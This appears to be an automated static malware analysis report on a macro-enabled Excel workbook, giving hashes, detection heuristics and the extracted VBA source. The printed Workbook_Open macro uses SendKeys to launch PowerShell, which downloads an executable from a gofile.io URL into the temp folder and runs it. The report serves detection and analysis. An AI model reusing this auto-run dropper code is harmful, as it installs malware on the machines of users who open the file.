Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0232bcf5dd4f7b4a…

MALICIOUS

Office (OOXML)

15.5 KB Created: 2020-05-28 03:42:51 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2020-12-01
MD5: 3161fbf39640d3dc8ba1fc59e7ee1b57 SHA-1: cf29564339e03489fde96f46ed98b03e7ea7f671 SHA-256: 0232bcf5dd4f7b4a698de4ce4f42c6b1148da25386cc94f2e758055d554b304e
150 Risk Score

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Application.SendKeys "~ powershell Invoke-WebRequest ""https://srv-store4.gofile.io/download/YKFyu1/Ads.exe"" -OutFile ""$env:temp\Ytt.exe"";Start-Process ""$env:temp\Ytt.exe"""
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Private Sub Workbook_Open()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://srv-store4.gofile.io/download/YKFyu1/Ads.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1680 bytes
SHA-256: 4e0127b8b1ea1e84c463e45b42c4c12c62b9101de934872dc2a733ded8148765
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub puf()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    On Error Resume Next
    Application.SendKeys "^{esc}"
    Application.Wait (Now() + TimeValue("00:00:01"))
    Application.SendKeys "~ powershell Invoke-WebRequest ""https://srv-store4.gofile.io/download/YKFyu1/Ads.exe"" -OutFile ""$env:temp\Ytt.exe"";Start-Process ""$env:temp\Ytt.exe"""
    Application.Wait (Now() + TimeValue("00:00:02"))
    Application.SendKeys "~"
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 20992 bytes
SHA-256: fdadd28001b045f38f07d7dc8211c9963a34d76115cf7fe3da58dac55ca44bc1

Open this report in the interactive analyzer, or submit your own file for analysis.